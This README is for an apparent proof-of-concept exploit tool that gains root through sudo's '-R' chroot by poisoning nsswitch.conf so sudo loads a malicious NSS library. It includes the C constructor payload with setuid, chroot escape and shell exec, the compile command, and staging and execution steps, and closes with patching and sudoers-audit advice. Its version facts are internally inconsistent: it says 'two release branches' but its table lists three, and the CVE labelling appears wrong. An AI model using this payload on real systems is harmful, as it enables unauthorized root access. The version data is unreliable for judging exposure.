
Proof-of-concept exploit for CVE-2023-42456, demonstrating privilege escalation via sudo NSS library hijacking through chroot injection. Includes automated version detection, payload generation, and chroot escape for authorized security testing.
Author: 0xb0rn3 | 0xbv1
Type: Proof of Concept (PoC) Security Research Tool
CVE: CVE-2023-42456
Technique: sudo -R chroot NSS library injection → privilege escalation to root
This tool is developed for authorized penetration testing and educational security research only. Run it exclusively on systems you own or have explicit written permission to test. The author(s) bear no responsibility for any misuse. Unauthorized use is illegal.
Xpl0it is a proof-of-concept that exploits a trust model flaw in how sudo handles dynamic NSS (Name Service Switch) library loading when using the -R (chroot) flag. On vulnerable sudo versions, an attacker who controls the chroot directory can poison nsswitch.conf inside it to force sudo to load a malicious shared library while it still holds elevated privileges — before any credential drop occurs.
On a successful run the tool drops you into a root shell or executes any command you specify with uid=0 gid=0.
This tool exclusively targets CVE-2023-42456. The vulnerability exists across two release branches, each with a separate fix commit:
| Branch | Vulnerable | Fixed in |
|---|---|---|
| 1.9.14.x | all (1.9.14 – 1.9.14p2) | N/A (entire branch affected) |
| 1.9.15.x | 1.9.15 – 1.9.15p1 | 1.9.15p2 |
| 1.9.16.x | 1.9.16 – 1.9.16p1 | 1.9.16p2 |
| 1.9.17+ | not affected | fix merged upstream before branch |
Important: sudo 1.9.17 and later are not vulnerable. Earlier tools and writeups incorrectly listed the range as "1.9.14–1.9.17". This tool performs per-branch version detection to avoid false positives.
The following CVEs are not exploitable via this technique and are intentionally excluded to prevent false positives:
| CVE | Technique | Why excluded |
|---|---|---|
| CVE-2021-3156 (Baron Samedit) | Heap-based buffer overflow | Completely different attack vector |
| CVE-2021-23239 | sudoedit race condition | Different technique |
| CVE-2021-23240 | SELinux role symlink bypass | Different technique |
sudo -R requires an explicit ChrootDir= directive in the target user's sudoers entry. NOPASSWD alone does not grant -R permission.
Without ChrootDir, sudo rejects the -R flag entirely:
sudo: you are not permitted to use the -R option with bridge
A sudoers entry that permits this exploit must look like one of:
# Unrestricted chroot path (ideal attack condition)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Path-restricted chroot (tool adapts staging dir automatically)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Specific path (tool creates staging inside the allowed path)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it parses sudo -l for ChrootDir before doing any staging work and aborts early with a clear explanation if the permission is missing.
sudo -R bridge bridge
│
├─ sudo calls chroot("./bridge") ← attacker controls this dir
│
├─ sudo must resolve calling user's info
│ └─ loads /etc/nsswitch.conf from chroot
│ └─ "passwd: files bridge90"
│ └─ dynamic linker loads libnss_bridge90.so.2
│ └─ __attribute__((constructor)) fires
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ chroot escape → exec payload
│
└─ root shell spawned
Step 1 — Reconnaissance
Collects OS, kernel version, architecture, current user context, and all valid library search paths. Detects AppArmor/SELinux enforcement and NoNewPrivs status — all of which can silently block the exploit if active.
Step 2 — Version Fingerprint
Parses sudo --version and checks the two-branch affected range for CVE-2023-42456 with patch-level precision. Aborts with explanation if the version is patched or out of range.
Step 3 — ChrootDir Permission Check
Parses sudo -l for ChrootDir= directives. If absent, aborts immediately. If restricted to a specific path, automatically targets that path for staging so sudo will accept the -R call.
Step 4 — Pre-Exploitation Probe
Builds a throwaway minimal chroot and fires a harmless sudo -R call before doing any real staging work. Confirms sudo will reach NSS resolution and catches "not permitted" rejections early.
Step 5 — Payload Generation
Writes bridge90.c — a C shared library with a __attribute__((constructor)) function (_nss_bridge90_init) that fires the moment the dynamic linker loads it:
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// chroot escape: mkdir sub-dir → chroot deeper →
// traverse 40x"../" → re-anchor chroot to real /
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
Step 6 — Environment Setup
Builds a convincing chroot inside the staging directory:
bridge/etc/nsswitch.conf — poisoned to load bridge90 NSS servicebridge/<lib_path>/libnss_bridge90.so.2 — the payload, deployed to all detected lib paths (multilib coverage)bridge/bin/bridge — stub executable sudo must find to proceed past pre-exec checksbridge/bin/sh, bridge/bin/bash — shells with correct ELF interpreter (detected via readelf -l)bridge/etc/ld.so.conf — covers all lib paths so ldconfig -r builds a valid cacheStep 7 — Compilation
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
-nostartfiles — no default startup code; constructor handles everything-Wl,-soname — correct SONAME for NSS name resolution-Wl,-init — __attribute__((constructor)) is sufficient; adding -Wl,-init causes a double-call and is a bugAfter compilation, nm -D verifies the constructor symbol is present in the dynamic export table.
Step 8 — Execution
Fires sudo -R bridge bridge from the staging directory. NSS resolves bridge90 → loads our library → constructor fires with elevated privileges → chroot escape executes → root shell.
Sudo's -R implementation trusts the contents of the chroot directory it enters. Before this was fixed, sudo did not validate whether the chroot environment had been tampered with. Since the user providing the chroot path controls its contents — including nsswitch.conf and the NSS libraries it references — they can redirect library loading to arbitrary code that executes before sudo performs any privilege drops.
Patch sudo
Update to 1.9.15p2, 1.9.16p2, or any 1.9.17+ release. These versions validate chroot environments before allowing NSS resolution inside them.
# Check your version
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
Audit ChrootDir directives
Review /etc/sudoers and all files in /etc/sudoers.d/. Remove ChrootDir= entries unless explicitly required. Restrict wildcards — prefer ChrootDir=/specific/path over ChrootDir=*.
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null